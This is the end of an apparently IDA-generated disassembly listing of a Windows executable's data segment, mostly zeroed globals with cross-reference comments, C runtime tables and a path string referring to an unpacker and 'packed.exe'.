sub_40BD91+175w ; sub_40BD91+1F8r ; char byte_4CE098[] byte_4CE098 db 80h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o ; char byte_4CE12C[] byte_4CE12C db 288h dup(0) ; DATA XREF: sub_40BD91+405o ; char byte_4CE3B4[] byte_4CE3B4 db 104h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r ... dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r ... ; char byte_4CE4E4[] byte_4CE4E4 db 208h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: sub_40EED1+1Fr ; sub_40EF1C+BCo ... dword_4CE6FC dd 0 ; DATA XREF: sub_40EF1C+B7o ; sub_40EF1C+DAr ... dword_4CE700 dd 0 ; DATA XREF: sub_40EF1C+9Ao ; sub_40EF1C+CFr ... dword_4CE704 dd 0 ; DATA XREF: sub_40EE8E+35r ; sub_40EF1C+95o ... dword_4CE708 dd 0 ; DATA XREF: sub_40EE8E+17r ; sub_40EED1+3Dr ... align 10h dword_4CE710 dd 0E819h ; DATA XREF: sub_40BD91+2AEr ; sub_40F0F1+10w ... align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr ; sub_40F108+27Cw dword_4CE71C dd 0 ; DATA XREF: sub_40F9BF+2Aw ; sub_40F9BF+51r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: sub_4111C0+146r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o align 10h byte_4CE740 db 0 ; DATA XREF: sub_413A29+1D3w ; sub_413A29+2D2o align 2 word_4CE742 dw 0 ; DATA XREF: sub_413A29+1E3w word_4CE744 dw 0 ; DATA XREF: sub_413A29+1E9w word_4CE746 dw 0 ; DATA XREF: sub_413A29+1F0w byte_4CE748 db 0 ; DATA XREF: sub_413A29+1F7w byte_4CE749 db 0 ; DATA XREF: sub_413A29+1FEw word_4CE74A dw 0 ; DATA XREF: sub_413A29+204w dword_4CE74C dd 0 ; DATA XREF: sub_413A29+234w ; sub_413A29+250w dword_4CE750 dd 0 ; DATA XREF: sub_413A29+258w byte_4CE754 db 0 ; DATA XREF: sub_413A29+26Aw byte_4CE755 db 0 ; DATA XREF: sub_413A29+27Dw word_4CE756 dw 0 ; DATA XREF: sub_413A29+295w word_4CE758 dw 0 ; DATA XREF: sub_413A29+2A4w word_4CE75A dw 0 ; DATA XREF: sub_413A29+29Cw dword_4CE75C dd 101h dup(0) ; DATA XREF: sub_413A29+2B9o ; char byte_4CEB60[] byte_4CEB60 db 200h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo ... byte_4CED60 db 0 ; DATA XREF: sub_4152D1+1A1w ; sub_4152D1+27Ao align 2 word_4CED62 dw 0 ; DATA XREF: sub_4152D1+1AEw word_4CED64 dw 0 ; DATA XREF: sub_4152D1+1B8w word_4CED66 dw 0 ; DATA XREF: sub_4152D1+1C1w byte_4CED68 db 0 ; DATA XREF: sub_4152D1+1C8w byte_4CED69 db 0 ; DATA XREF: sub_4152D1+1CFw word_4CED6A dw 0 ; DATA XREF: sub_4152D1+1D6w dword_4CED6C dd 0 ; DATA XREF: sub_4152D1+1E3w dword_4CED70 dd 0 ; DATA XREF: sub_4152D1+1EBw word_4CED74 dw 0 ; DATA XREF: sub_4152D1+244w word_4CED76 dw 0 ; DATA XREF: sub_4152D1+22Cw word_4CED78 dw 0 ; DATA XREF: sub_4152D1+256w word_4CED7A dw 0 ; DATA XREF: sub_4152D1+1F7w dword_4CED7C dd 101h dup(0) ; DATA XREF: sub_4152D1+265o dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... align 10h byte_4CF190 db 0 ; DATA XREF: sub_4157BA+241o ; sub_4157BA+250w ... byte_4CF191 db 0 ; DATA XREF: sub_4157BA+264w word_4CF192 dw 0 ; DATA XREF: sub_4157BA+295w word_4CF194 dw 0 ; DATA XREF: sub_4157BA+27Cw ; sub_4157BA:loc_415B8Cw word_4CF196 dw 0 ; DATA XREF: sub_4157BA+29Bw byte_4CF198 db 0 ; DATA XREF: sub_4157BA+288w byte_4CF199 db 0 ; DATA XREF: sub_4157BA+25Dw word_4CF19A dw 0 ; DATA XREF: sub_4157BA+3F2w ; sub_4157BA+41Cw dword_4CF19C dd 0 ; DATA XREF: sub_4157BA:loc_415A83w ; sub_4157BA+39Ar dword_4CF1A0 dd 0 ; DATA XREF: sub_4157BA+2D6w word_4CF1A4 dw 0 ; DATA XREF: sub_4157BA+394w ; sub_4157BA+3E8o word_4CF1A6 dw 0 ; DATA XREF: sub_4157BA+335w ; sub_4157BA+35Ar ... dword_4CF1A8 dd 0 ; DATA XREF: sub_4157BA+30Cw ; sub_4157BA+3D9w dword_4CF1AC dd 0 ; DATA XREF: sub_4157BA+328w ; sub_4157BA+3ABw ... byte_4CF1B0 db 0 ; DATA XREF: sub_4157BA+311r ; sub_4157BA+31Fw byte_4CF1B1 db 0 ; DATA XREF: sub_4157BA+2DBw ; sub_4157BA+3A4w ... word_4CF1B2 dw 0 ; DATA XREF: sub_4157BA+2E9w word_4CF1B4 dw 0 ; DATA XREF: sub_4157BA+3F9w ; sub_4157BA+42Aw word_4CF1B6 dw 0 ; DATA XREF: sub_4157BA+32Ew word_4CF1B8 dw 0 ; DATA XREF: sub_4157BA+360w ; sub_4157BA+432o word_4CF1BA dw 0 ; DATA XREF: sub_4157BA+36Fw ; sub_4157BA+409w dword_4CF1BC dd 0 ; DATA XREF: sub_4157BA+369w dd 2 dup(0) dword_4CF1C8 dd 0 ; DATA XREF: sub_4157BA+39Fw ; sub_4157BA+417o dword_4CF1CC dd 0 ; DATA XREF: sub_4157BA+33Bw byte_4CF1D0 db 0 ; DATA XREF: sub_4157BA+341w byte_4CF1D1 db 0 ; DATA XREF: sub_4157BA+347w word_4CF1D2 dw 0 ; DATA XREF: sub_4157BA+354w dword_4CF1D4 dd 7 dup(0) ; DATA XREF: sub_4157BA+3EDo dword_4CF1F0 dd 0 ; DATA XREF: sub_4157BA+30w ; sub_4157BA+43Br ; char byte_4CF1F4[] byte_4CF1F4 db 400h dup(0) ; DATA XREF: sub_4157BA+1C3o ; sub_4157BA+47Eo ; char byte_4CF5F4[] byte_4CF5F4 db 4000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... ; char byte_4D35F4[] byte_4D35F4 db 4 dup(0) ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo ; char byte_4D3630[] byte_4D3630 db 200h dup(0) ; DATA XREF: sub_417990+41o ; wchar_t word_4D3830 word_4D3830 dw 0 ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... align 4 dd 1FFh dup(0) ; wchar_t word_4D4030 word_4D4030 dw 0 ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... align 4 dd 47h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .data:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... ; char byte_4D4840[] byte_4D4840 db 200h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w ; void *Src Src dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o ; char byte_4DB17C[] byte_4DB17C db 204h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... ; char byte_4DB380[] byte_4DB380 db 5Ch dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... ; char byte_4DB3DC[] byte_4DB3DC db 200h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... ; char byte_4DB5E0[] byte_4DB5E0 db 5Ch dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do ; char byte_4DB63C[] byte_4DB63C db 200h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h ; char byte_4DB840[] byte_4DB840 db 200h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... ; char byte_4DBA40[] byte_4DBA40 db 204h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw ; char byte_4DBC54[] byte_4DBC54 db 34h dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo ; int dword_4DBC88 dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h ; char byte_4DBC90[] byte_4DBC90 db 3Ch dup(0) ; DATA XREF: sub_41ADD8+47o ; char byte_4DBCCC byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; .text:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; .text:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: _strtoxl+1B9w ; _fseek:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; __close:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: __sopen+13Ar dword_4DBDE8 dd 0A28h ; DATA XREF: start+52w dword_4DBDEC dd 501h ; DATA XREF: start+49w dword_4DBDF0 dd 5 ; DATA XREF: start+3Ew dword_4DBDF4 dd 1 ; DATA XREF: start+30w dword_4DBDF8 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401516r ; __setargv+91w dword_4DBDFC dd 340B20h ; DATA XREF: WinMain(x,x,x,x)+2FEr ; WinMain(x,x,x,x)+31Er ... dd 0 dword_4DBE04 dd 340B48h ; DATA XREF: __setenvp+44w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: _doexit+2Dw ; ___endstdio+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: _doexit+27w dword_4DBE24 dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw dword_4DBE28 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: __fpmath+Aw ; char *dword_4DBE34 dword_4DBE34 dd 0 ; DATA XREF: start+84w ; __setenvp:loc_4236E5r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: __amsg_exitr ; _fast_error_exitr ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: __callnewhr dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: __setmbcp:loc_4208C4r ; _getSystemCP+4w ... dword_4DBE50 dd 0 ; DATA XREF: __stbuf+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ... byte_4DBE5C db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: __cftof+11r __cftog+21w ... byte_4DBE64 db 0 ; DATA XREF: __cftog+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+5Cr ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ... dword_4DBE70 dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+7Ar ; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: ___crtLCMapStringA+28r ; ___crtLCMapStringA+4Cw ... dd 2 dup(0) ; int dword_4DBE84 dword_4DBE84 dd 0 ; DATA XREF: __strupr+4r __strupr+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: _mbstowcs+61r ; _mbstowcs+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: __XcptFilter+3Ar ; __XcptFilter+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_4237A3o ; .data:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r ; ___crtGetEnvironmentStringsA+23w ... dword_4DBFA8 dd 0 ; DATA XREF: __FF_MSGBANNER+21r dword_4DBFAC dd 0 ; DATA XREF: __openfile+154w ; __stbuf:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: __openfile+7r dword_4DBFB4 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r ; ___crtGetStringTypeA:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r byte_4DBFBA db 0 ; DATA XREF: __fltout+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: __fltout+52o dword_4DBFD8 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co dword_4DBFDC dd 0 ; DATA XREF: __fltout+4Dw dword_4DBFE0 dd 0 ; DATA XREF: __fltout+31w dword_4DBFE4 dd 0 ; DATA XREF: __fltout+52w ; int (__stdcall *dword_4DBFE8)() dword_4DBFE8 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_424F3Fr ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ... dword_4DBFEC dd 0 ; DATA XREF: ___crtMessageBoxA+3r ; ___crtMessageBoxA+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: ___crtMessageBoxA+43w ; ___crtMessageBoxA:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw ; ___crtMessageBoxA+60r dword_4DBFF8 dd 0 ; DATA XREF: __sopen+3Fr dword_4DBFFC dd 0 ; DATA XREF: _raise:loc_425C6Dr ; _raise+6Do dword_4DC000 dd 0 ; DATA XREF: _raise:loc_425C44r ; _raise+44o dword_4DC004 dd 0 ; DATA XREF: _raise:loc_425C37r ; _raise+37o dword_4DC008 dd 0 ; DATA XREF: _raise:loc_425C51r ; _raise+51o align 10h dword_4DC010 dd 0 ; DATA XREF: ___crtLCMapStringW+28r ; ___crtLCMapStringW+4Cw ... dword_4DC014 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r ; ___crtGetStringTypeW:loc_42692Bw byte_4DC018 db 1 ; DATA XREF: unknown_libname_1r ; unknown_libname_1+9w align 4 dword_4DC01C dd 341110h ; DATA XREF: _flsall:loc_41E4A1r ; __getstream+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: .data:off_43D568o ; .data:0043D570o ; size_t Size Size dd 200h ; DATA XREF: _flsall+9r _flsall+56r ... dd 7 dup(0) dword_4DD040 dd 340650h ; DATA XREF: __filbuf+75r __read+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o dword_4DD140 dd 20h ; DATA XREF: __close+8r __read+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: __setmbcp+14r ; __setmbcp+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: __setmbcp+123o ; __setmbcp+171o ... dword_4DD15C dd 0 ; DATA XREF: __setmbcp+108w ; __setmbcp+15Dw ... byte_4DD160 db 0 ; DATA XREF: _setSBUpLow:loc_420A94w ; _setSBUpLow:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: __setmbcp+5Co ; __setmbcp+AFo ... byte_4DD261 db 0 ; DATA XREF: __splitpath+5Dr ; __setmbcp+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: __setmbcp+6Ew ; __setmbcp+12Bw ... dword_4DD368 dd 0 ; DATA XREF: ___sbh_heap_init+3Cw ; ___sbh_alloc_new_region+5r ... dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; DATA XREF: ___sbh_heap_init+31w ; sub_41E742+311w ... ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init+21w ; sub_41E742+22Dr ... dword_4DD378 dd 0 ; DATA XREF: ___sbh_heap_init+28w ; ___sbh_find_blockr ... dword_4DD37C dd 0 ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 340000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C dd 142340h ; DATA XREF: start+7Aw __wincmdln+Fr ... dword_4DD390 dd 1 ; DATA XREF: __setenvp+ADw dword_4DD394 dd 1 ; DATA XREF: ___initmbctabler ; ___initmbctable+11w ... dword_4DD398 dd 34075Ch ; DATA XREF: _doexit+3Er __onexit+13r ... ; void *dword_4DD39C dword_4DD39C dd 340758h ; DATA XREF: _doexit+35r _doexit+57r ... _data ends ; Section 4. (virtual address 000DE000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 000DE000 ; Flags C0000240: Data Comment Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _sxdata segment para public 'DATA' use32 assume cs:_sxdata ;org 4DE000h dd 127h, 19Ch, 1DCh, 221h, 233h, 290h _sxdata ends ; Section 5. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000DE200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4DF000h align 2000h _idata2 ends end start